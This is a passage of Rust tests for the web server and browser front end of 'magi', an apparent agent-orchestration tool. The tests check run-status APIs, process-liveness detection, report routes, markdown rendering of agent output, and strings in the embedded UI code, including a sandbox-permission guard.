13075 if let Some(schema) = schema {
13076 value["schema"] = serde_json::json!(schema);
13077 value.as_object_mut().unwrap().remove("origin");
13078 }
13079 let dir = f.runs().join(id);
13080 std::fs::create_dir_all(&dir).expect("run dir");
13081 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
13082 };
13083 write(
13084 "20260930-092817-ec34",
13085 Some(crate::run::Origin::from_agent_env(
13086 Some(("4a7b".to_owned(), "chat".to_owned())),
13087 None,
13088 )),
13089 None,
13090 );
13091 write("20260930-092817-0ld1", None, Some(12));
13092
13093 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
13094 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
13095 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
13096
13097 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
13098 assert_eq!(
13099 old["origin_label"], "origin unknown (started before origins were recorded)",
13100 "{old}"
13101 );
13102 assert!(old["origin"].is_null(), "{old}");
13103
13104 let list = f.get("/api/runs").await.json();
13105 let labels: Vec<_> = list
13106 .as_array()
13107 .unwrap()
13108 .iter()
13109 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
13110 .collect();
13111 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
13112 }
13113
13114 #[tokio::test]
13121 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
13122 let f = Fixture::start().await;
13123 let id = "20260922-090000-cccc";
13124 let mut state = RunState::new(
13125 PathBuf::from("/repo/magi"),
13126 "main".to_owned(),
13127 "0123456789abcdef".to_owned(),
13128 "Review only".to_owned(),
13129 Config::default(),
13130 );
13131 state.id = id.to_owned();
13132 state.status = RunStatus::Reviewing;
13133 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
13134 state.driver_pid = Some(std::process::id());
13140 state.driver_started_at = Some(
13141 crate::proc::process_started_at(std::process::id())
13142 .expect("this test process's own start time must be queryable"),
13143 );
13144 let dir = f.runs().join(id);
13145 std::fs::create_dir_all(&dir).expect("run dir");
13146 std::fs::write(
13147 dir.join("run.json"),
13148 serde_json::to_string_pretty(&state).expect("serialize run"),
13149 )
13150 .expect("write run.json");
13151
13152 let detail = f.get(&format!("/api/runs/{id}")).await.json();
13153 assert_eq!(detail["live"], "live", "{detail}");
13154 }
13155
13156 #[tokio::test]
13162 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
13163 let f = Fixture::start().await;
13164 let id = "20260922-090100-dddd";
13165 let mut state = RunState::new(
13166 PathBuf::from("/repo/magi"),
13167 "main".to_owned(),
13168 "0123456789abcdef".to_owned(),
13169 "Review only".to_owned(),
13170 Config::default(),
13171 );
13172 state.id = id.to_owned();
13173 state.status = RunStatus::Reviewing;
13174 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
13175 state.driver_pid = Some(std::process::id());
13180 state.driver_started_at = Some("1".to_owned());
13181 let dir = f.runs().join(id);
13182 std::fs::create_dir_all(&dir).expect("run dir");
13183 std::fs::write(
13184 dir.join("run.json"),
13185 serde_json::to_string_pretty(&state).expect("serialize run"),
13186 )
13187 .expect("write run.json");
13188
13189 let detail = f.get(&format!("/api/runs/{id}")).await.json();
13190 assert_eq!(detail["live"], "dead", "{detail}");
13191 }
13192
13193 #[test]
13197 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
13198 let mk = |id: &str, pid: Option<u32>| {
13199 let mut s = RunState::new(
13200 PathBuf::from("/repo/magi"),
13201 "main".to_owned(),
13202 "0123456789abcdef".to_owned(),
13203 "Add a web UI".to_owned(),
13204 Config::default(),
13205 );
13206 s.id = id.to_owned();
13207 s.driver_pid = pid;
13208 s.driver_started_at = Some("1790000000".to_owned());
13209 s
13210 };
13211 let states = vec![
13212 mk("20260902-140502-aaaa", Some(77)),
13213 mk("20260902-140502-bbbb", Some(77)),
13214 mk("20260902-140502-cccc", Some(77)),
13215 mk("20260902-140502-dddd", None),
13216 ];
13217 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
13218 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
13219 let sup: HashMap<String, String> = [(
13220 "20260902-140502-aaaa".to_owned(),
13221 "20260902-140502-cccc".to_owned(),
13222 )]
13223 .into();
13224
13225 let status_calls = std::cell::Cell::new(0);
13226 let identity_calls = std::cell::Cell::new(0);
13227 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
13228 |_| {
13229 status_calls.set(status_calls.get() + 1);
13230 Some(true)
13231 },
13232 |_| {
13233 identity_calls.set(identity_calls.get() + 1);
13234 Some("1790000000".to_owned())
13235 },
13236 ));
13237 let rows = summarize(
13238 states,
13239 &open,
13240 &claimed,
13241 &sup,
13242 |p| probe.borrow_mut().status(p),
13243 |p| probe.borrow_mut().started_at(p),
13244 );
13245
13246 assert_eq!(status_calls.get(), 1, "one pid, one status query");
13247 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
13248 assert_eq!(rows.len(), 4);
13249 assert!(!rows[0].waiting && rows[1].waiting);
13250 assert_eq!(rows[0].live, crate::run::Liveness::Live);
13251 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
13252 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
13253 assert_eq!(rows[1].superseded_by, None);
13254 }
13255
13256 #[test]
13257 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
13258 let mut state = RunState::new(
13259 PathBuf::from("/repo/magi"),
13260 "main".to_owned(),
13261 "0123456789abcdef".to_owned(),
13262 "Review only".to_owned(),
13263 Config::default(),
13264 );
13265 state.id = "20260922-090200-dead".to_owned();
13266 state.status = RunStatus::Reviewing;
13267 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
13268 .expect("serialize list row");
13269 assert_eq!(row["status"], "reviewing");
13270 assert_eq!(row["live"], "dead", "{row}");
13271 assert!(!row["done"].as_bool().unwrap());
13272 }
13273
13274 #[tokio::test]
13275 async fn the_run_list_is_newest_first_and_honours_a_limit() {
13276 let f = Fixture::start().await;
13277 for id in [
13278 "20260902-140501-aaaa",
13279 "20260902-140502-bbbb",
13280 "20260902-140503-cccc",
13281 ] {
13282 write_run(&f.runs(), id, RunStatus::Merged);
13283 }
13284
13285 let all = f.get("/api/runs").await.json();
13286 let capped = f.get("/api/runs?limit=2").await.json();
13287
13288 assert_eq!(all[0]["id"], "20260902-140503-cccc");
13289 assert_eq!(all.as_array().map(Vec::len), Some(3));
13290 assert_eq!(capped.as_array().map(Vec::len), Some(2));
13291 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
13292 }
13293
13294 #[tokio::test]
13295 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
13296 let f = Fixture::start().await;
13297 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
13298
13299 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
13300
13301 assert_eq!(res.status, 200);
13302 assert!(
13303 res.headers
13304 .contains("content-type: text/plain; charset=utf-8"),
13305 "a browser must render it, not download it: {}",
13306 res.headers
13307 );
13308 assert!(
13312 res.body.contains("20260902-140501-a1b2"),
13313 "the report is about the run that was asked for: {}",
13314 res.body
13315 );
13316 }
13317
13318 #[tokio::test]
13319 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
13320 crate::run::pin_test_home();
13322 let f = Fixture::start().await;
13323 let id = "20260902-140501-a1b2";
13324 write_run(&f.runs(), id, RunStatus::Stalled);
13325 let path = f.runs().join(id).join("run.json");
13328 let mut v: serde_json::Value =
13329 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
13330 v["tally"] = serde_json::json!({
13331 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
13332 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
13333 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
13334 "met_quorum": false, "rankings": 1
13335 });
13336 v["reviews"] = serde_json::json!([{
13337 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
13338 "e2e_deferred": true,
13339 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
13340 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
13341 ]}]
13342 }]);
13343 std::fs::write(&path, v.to_string()).unwrap();
13344 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
13345 std::fs::write(
13346 f.runs().join("20260902-140502-dead").join("run.json"),
13347 "{not json",
13348 )
13349 .unwrap();
13350
13351 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
13352
13353 assert_eq!(res.status, 200, "{}", res.body);
13354 assert!(res.headers.contains("content-type: application/json"));
13355 let j = res.json();
13356 assert_eq!(j["schema"], 1);
13357 assert_eq!(j["header"]["id"], id);
13358 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
13359 let kinds: Vec<&str> = j["sections"]
13360 .as_array()
13361 .unwrap()
13362 .iter()
13363 .map(|s| s["kind"].as_str().unwrap())
13364 .collect();
13365 assert_eq!(kinds, ["candidates", "tally", "review"]);
13366 let tally = &j["sections"][1]["tally"];
13367 assert_eq!(
13368 (tally["decided"].clone(), tally["provisional"].clone()),
13369 (false.into(), true.into())
13370 );
13371 let round = &j["sections"][2]["rounds"][0];
13372 assert_eq!(round["e2e"]["state"], "deferred");
13373 assert_eq!(round["findings"][0]["severity"], "major");
13374 assert_eq!(round["findings"][0]["blocking"], true);
13375 assert_eq!(round["findings"][0]["state"], "open");
13376
13377 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
13379
13380 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
13382 assert_ne!(bad.status, 200, "{}", bad.body);
13383 assert_eq!(
13384 bad.status,
13385 f.get("/api/runs/20260902-140502-dead/report").await.status
13386 );
13387 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
13388 assert_eq!(
13389 f.get("/api/runs/20260902-999999-ffff/report.json")
13390 .await
13391 .status,
13392 404
13393 );
13394 }
13395
13396 #[tokio::test]
13397 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
13398 let f = Fixture::start().await;
13399
13400 let html = f.get("/").await;
13401 let css = f.get("/app.css").await;
13402 let js = f.get("/app.js").await;
13403
13404 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
13405 assert!(
13406 html.headers
13407 .contains("content-type: text/html; charset=utf-8")
13408 );
13409 assert!(css.headers.contains("content-type: text/css"));
13410 assert!(js.headers.contains("content-type: text/javascript"));
13411 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
13412 }
13413
13414 #[test]
13415 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
13416 let body = |name: &str| {
13417 let at = APP_JS
13418 .find(name)
13419 .unwrap_or_else(|| panic!("{name} missing"));
13420 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
13421 };
13422 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
13423 let note = body("function landRoundNote");
13424 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
13425 assert!(note.contains("Land round ${round}"));
13426 let land = body("function renderLand");
13427 let note_at = land
13428 .find("landRoundNote(pr)")
13429 .expect("renderLand uses the note");
13430 assert!(
13431 note_at
13432 < land
13433 .find("roundRail(pr)")
13434 .expect("renderLand uses the rail")
13435 );
13436 }
13437
13438 #[test]
13439 fn the_runs_page_redesign_keeps_its_guards() {
13440 let body = |name: &str| {
13441 let at = APP_JS
13442 .find(name)
13443 .unwrap_or_else(|| panic!("{name} missing"));
13444 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
13445 };
13446 let land = body("function renderLand");
13448 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
13449 assert!(
13450 !land.contains("box.append("),
13451 "renderLand must use append()"
13452 );
13453 assert!(land.contains("append(box, ["));
13454 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
13456 assert!(
13457 body("function applyRoute")
13458 .contains("route.name !== state.route.name || route.id !== state.route.id")
13459 );
13460 assert!(!APP_JS.contains("adviseConvergeDiagram"));
13462 assert!(!INDEX_HTML.contains("advise-converge"));
13463 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
13464 assert!(APP_JS.contains("provisional"));
13465 for id in [
13466 "run-tab-overview",
13467 "run-tab-timeline",
13468 "run-tab-report",
13469 "run-report",
13470 "runs-scope",
13471 ] {
13472 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
13473 }
13474 assert!(!INDEX_HTML.contains("runs-tree"));
13475 assert!(!INDEX_HTML.contains("run-raw-panel"));
13476 assert!(APP_JS.contains("resume"));
13478 assert!(APP_JS.contains("unreadable"));
13480 }
13481
13482 #[test]
13483 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
13484 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
13485 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
13486 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
13487 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
13488 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
13489 assert!(APP_JS.contains("unreadable` : null"));
13491 }
13492
13493 #[test]
13494 fn the_run_detail_payload_says_whether_the_run_is_done() {
13495 for (status, done) in [
13497 (RunStatus::Superseded, true),
13498 (RunStatus::Blocked, true),
13499 (RunStatus::Landing, false),
13500 ] {
13501 let mut state = RunState::new(
13502 std::path::PathBuf::from("/repo"),
13503 "main".to_owned(),
13504 "abc".to_owned(),
13505 "x".to_owned(),
13506 crate::config::Config::default(),
13507 );
13508 state.status = status;
13509 let v = serde_json::to_value(RunDetailView::of(
13510 state,
13511 crate::run::Liveness::Unknown,
13512 None,
13513 None,
13514 None,
13515 ))
13516 .unwrap();
13517 assert_eq!(v["done"], done, "{status:?}");
13518 }
13519 }
13520
13521 fn has_strong(nodes: &[md::Node]) -> bool {
13523 serde_json::to_string(nodes).unwrap().contains("strong")
13524 }
13525
13526 #[test]
13527 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
13528 let mut state = RunState::new(
13529 std::path::PathBuf::from("/repo"),
13530 "main".to_owned(),
13531 "abc".to_owned(),
13532 "x".to_owned(),
13533 crate::config::Config::default(),
13534 );
13535 let proposal = |approach: &str| {
13536 serde_json::json!({
13537 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
13538 })
13539 };
13540 state.advice = Some(
13541 serde_json::from_value(serde_json::json!({
13542 "records": [
13543 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
13544 "proposal": proposal("do **this**")},
13545 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
13546 ],
13547 "synthesis": "- one\n- **two**\n\n`code`",
13548 }))
13549 .unwrap(),
13550 );
13551 state.candidates = serde_json::from_value(serde_json::json!([
13552 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
13553 "summary": "did **it**"},
13554 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
13555 ]))
13556 .unwrap();
13557 state.reviews = serde_json::from_value(serde_json::json!([{
13560 "round": 1, "head": "h",
13561 "reviews": [{
13562 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
13563 "findings": [
13564 {"severity": "nit", "title": "t1", "detail": "plain nit"},
13565 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
13566 ],
13567 }],
13568 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
13569 "fix": {"agent": "a", "notes": "fixed **it**",
13570 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
13571 }, {"round": 2, "head": "h2", "reviews": []}]))
13572 .unwrap();
13573
13574 let v = serde_json::to_value(RunDetailView::of(
13575 state,
13576 crate::run::Liveness::Unknown,
13577 None,
13578 None,
13579 None,
13580 ))
13581 .unwrap();
13582
13583 let strong = |p: &str| {
13584 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
13585 assert!(n.to_string().contains("strong"), "{p}: {n}");
13586 };
13587 strong("/advice_md/synthesis");
13588 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
13589 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
13590 strong("/advice_md/approaches/0");
13591 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
13592 strong("/candidate_summaries_md/0");
13593 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
13594 strong("/reviews_md/0/reviewers/0/summary");
13595 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
13596 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
13597 assert!(f[1].to_string().contains("strong"));
13598 strong("/reviews_md/0/reconsideration/0");
13599 strong("/reviews_md/0/fix/notes");
13600 strong("/reviews_md/0/fix/rejected/0");
13601 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
13602 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
13603 assert_eq!(v["candidates"][0]["summary"], "did **it**");
13605 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
13606 }
13607
13608 #[test]
13609 fn a_run_without_advice_has_no_advice_md() {
13610 let state = RunState::new(
13611 std::path::PathBuf::from("/repo"),
13612 "main".to_owned(),
13613 "abc".to_owned(),
13614 "x".to_owned(),
13615 crate::config::Config::default(),
13616 );
13617 let p = run_prose_md(&state);
13618 assert!(p.advice_md.is_none());
13619 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
13620 }
13621
13622 #[test]
13623 fn a_question_view_carries_markdown_for_each_thread_turn() {
13624 let home = TempDir::new().unwrap();
13625 let store = ask::Questions::at(home.path().join("questions"));
13626 let mut q = Question::new(
13627 "run".to_owned(),
13628 "implement".to_owned(),
13629 "impl-A".to_owned(),
13630 "which?".to_owned(),
13631 String::new(),
13632 Vec::new(),
13633 );
13634 q.say("plain words").unwrap();
13635 q.reply("use **this**", Vec::new()).unwrap();
13636 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
13637 let bodies = &v["thread_bodies_md"];
13638 assert_eq!(bodies.as_array().unwrap().len(), 2);
13639 assert!(!bodies[0].to_string().contains("strong"));
13640 assert!(bodies[1].to_string().contains("strong"));
13641 }
13642
13643 #[test]
13644 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
13645 let home = TempDir::new().unwrap();
13646 let store = ask::Questions::at(home.path().join("questions"));
13647 let mut q = Question::new(
13648 "run".to_owned(),
13649 "conduct".to_owned(),
13650 "conduct".to_owned(),
13651 "which?".to_owned(),
13652 String::new(),
13653 Vec::new(),
13654 );
13655 q.say("plain words").unwrap();
13656 q.thread.push(ask::Turn {
13657 who: ask::Who::Agent,
13658 body: "Settled as `merge`".to_owned(),
13659 at: jiff::Timestamp::now(),
13660 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
13661 });
13662 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
13663 let notes = &v["thread_notes_md"];
13664 assert_eq!(notes.as_array().unwrap().len(), 2);
13665 assert!(notes[0].is_null());
13666 let text = notes[1].to_string();
13667 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
13668 assert!(APP_JS.contains("ask-turn-note"));
13669 }
13670
13671 #[test]
13672 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
13673 assert!(APP_JS.contains("function landView(run, raw) {"));
13677 assert!(
13678 APP_JS.contains(
13679 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
13680 )
13681 );
13682 assert!(APP_JS.contains("const pr = landView(run, raw);"));
13683 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
13684 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
13685 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
13686 }
13687
13688 #[test]
13689 fn live_runs_are_never_hidden_or_folded_as_superseded() {
13690 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
13691 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
13692 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
13693 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
13694 }
13695
13696 #[test]
13697 fn review_rounds_label_a_distinct_verified_head() {
13698 assert!(APP_JS.contains("round.verified_head"));
13699 assert!(APP_JS.contains("verified HEAD"));
13700 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
13701 }
13702
13703 #[test]
13704 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
13705 assert!(APP_JS.contains("blocked: { glyph:"));
13709 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
13710
13711 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
13715 assert!(
13716 APP_JS.contains(
13717 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
13718 ),
13719 "the note line must name what a blocked task is waiting on, not just that it is blocked"
13720 );
13721 assert!(APP_JS.contains("if (status === \"blocked\") {"));
13725
13726 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
13730 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
13731 assert!(
13732 APP_JS.contains("location.hash = \"#/questions\";"),
13733 "a question node must jump to the Questions screen, not pretend to be a task"
13734 );
13735
13736 assert!(APP_JS.contains("Resolved questions"));
13739 assert!(APP_JS.contains("r.answersList.append("));
13740 assert!(APP_CSS.contains(".task-answers"));
13741 {
13742 let start = APP_JS
13743 .find("function updateTalkTaskRow")
13744 .expect("updateTalkTaskRow");
13745 let body = &APP_JS[start..];
13746 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
13747 assert!(
13748 body.contains(
13749 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
13750 ),
13751 "a chat-filed task row must link to the task page"
13752 );
13753 assert!(
13754 !body.contains("#/runs/") && !body.contains("#/queue/"),
13755 "the row must not branch to a run or the queue card"
13756 );
13757 assert!(APP_CSS.contains(".talk-task-link"));
13758 }
13759 }
13760
13761 #[test]
13762 fn a_task_notification_links_to_the_task_page() {
13763 let start = APP_JS
13765 .find("function noticeLink(")
13766 .expect("noticeLink exists");
13767 let body = &APP_JS[start..];
13768 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
13769 assert!(
13770 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
13771 "a task notice's link must target the task page"
13772 );
13773 assert!(
13774 !body.contains("#/queue/"),
13775 "regression: the task link must not go back to the Backlog route"
13776 );
13777 assert!(
13778 APP_JS.contains(
13779 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
13780 ),
13781 "`#/tasks/<id>` must parse into the task route"
13782 );
13783
13784 assert!(
13786 APP_JS.contains(
13787 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
13788 ),
13789 "`#/queue/<id>` must parse into a route carrying that id"
13790 );
13791
13792 assert!(APP_JS.contains("state.queueFocus = route.id;"));
13796 assert!(APP_JS.contains("function consumeQueueFocus()"));
13797 assert!(APP_JS.contains("jumpToTask(id)"));
13798 }
13799
13800 #[test]
13803 fn chat_rows_put_the_title_alone_on_the_first_line() {
13804 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
13805 assert!(APP_CSS.contains(
13806 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
13807 ));
13808 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
13809 assert!(APP_JS.contains("class: \"badge talk-unread\""));
13810 }
13811
13812 #[test]
13813 fn run_rows_put_the_title_alone_on_the_first_line() {
13814 assert!(
13815 APP_CSS.contains(
13816 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
13817 )
13818 );
13819 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
13820 assert!(APP_JS.contains("class: \"card run-card\""));
13821 assert!(APP_JS.contains("class: \"repo run-id\""));
13822 }
13823
13824 #[test]
13828 fn wide_screens_show_list_and_preview_side_by_side() {
13829 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
13831 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
13832 assert!(APP_CSS.contains("main[data-split]"));
13833 assert!(APP_CSS.contains("body[data-split]"));
13834
13835 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
13837 assert!(
13838 APP_JS.contains(
13839 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
13840 )
13841 );
13842 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
13843 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
13844 assert!(INDEX_HTML.contains("id=\"split-empty\""));
13845
13846 assert!(APP_JS.contains("function markSelected() {"));
13848 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
13849 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
13850 assert!(
13852 APP_CSS.contains(
13853 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
13854 )
13855 );
13856
13857 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
13859 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
13860 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
13861 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
13862
13863 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
13867 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
13868 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
13869 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
13870
13871 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
13873 }
13874
13875 #[test]
13876 fn panel_sandbox_carries_exactly_popups() {
13877 let needle = "sandbox: \"";
13878 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
13879 assert_eq!(
13880 matches.len(),
13881 1,
13882 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
13883 );
13884 let start = matches[0].0 + needle.len();
13885 let end = APP_JS[start..]
13886 .find('"')
13887 .expect("sandbox attribute value must be terminated by a closing quote");
13888 let val = &APP_JS[start..start + end];
13889 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
13890 let expected: std::collections::BTreeSet<&str> =
13891 ["allow-popups", "allow-popups-to-escape-sandbox"]
13892 .into_iter()
13893 .collect();
13894 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
13895 assert!(
13896 !tokens.contains("allow-scripts"),
13897 "allow-scripts must never be present in sandbox"
13898 );
13899 assert!(
13900 !tokens.contains("allow-same-origin"),
13901 "allow-same-origin must never be present in sandbox"
13902 );
13903 }
13904
13905 #[test]
13906 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
13907 assert!(
13916 APP_JS.contains(
13917 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
13918 ),
13919 "the search-clearing branch must run before state.queueFocus is cleared, or the \
13920 recursive renderQueue() call has nothing left to jump to"
13921 );
13922 assert!(
13923 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
13924 "state.queueFocus must be cleared only once the jump has landed, so a card that \
13925 arrives later still gets it"
13926 );
13927 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
13928 assert!(APP_JS.contains("is not in the current Backlog."));
13929 assert!(APP_JS.contains("li.card[data-task-id=\""));
13930 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
13931 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
13932 assert!(APP_CSS.contains(".card-permalink"));
13933 assert!(APP_CSS.contains(".queue-focus-status"));
13934 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
13935 }
13936
13937 #[test]
13938 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
13939 assert!(
13947 APP_JS.contains(
13948 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
13949 ),
13950 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
13951 );
13952 }
13953
13954 #[test]
13955 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
13956 assert!(
13957 APP_JS.contains("round.verified_head !== round.head"),
13958 "a round that verified an earlier commit must be visibly distinct from one that \
13959 verified the head reviewers are looking at now"
13960 );
13961 assert!(
13962 APP_JS.contains("round.verified_at"),
13963 "when a check ran must be on the wire, not just which commit"
13964 );
13965 assert!(
13966 APP_JS.contains("resource_blocked"),
13967 "a command magi never got to run (shared build cache contention) must not render \
13968 the same as a command that ran and failed"
13969 );
13970 }
13971
13972 #[test]
13973 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
13974 assert!(
13982 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
13983 "every KPI tile built through statusTile() must route its click through \
13984 openRunsFiltered, the single place that sets the Runs filter"
13985 );
13986 for (label, status) in [
13987 ("Merged", "merged"),
13988 ("Ready", "ready"),
13989 ("Blocked", "blocked"),
13990 ("Stalled", "stalled"),
13991 ] {
13992 let call = format!("statusTile(\"{label}\", t.{status}, ");
13993 assert!(
13994 APP_JS.contains(&call),
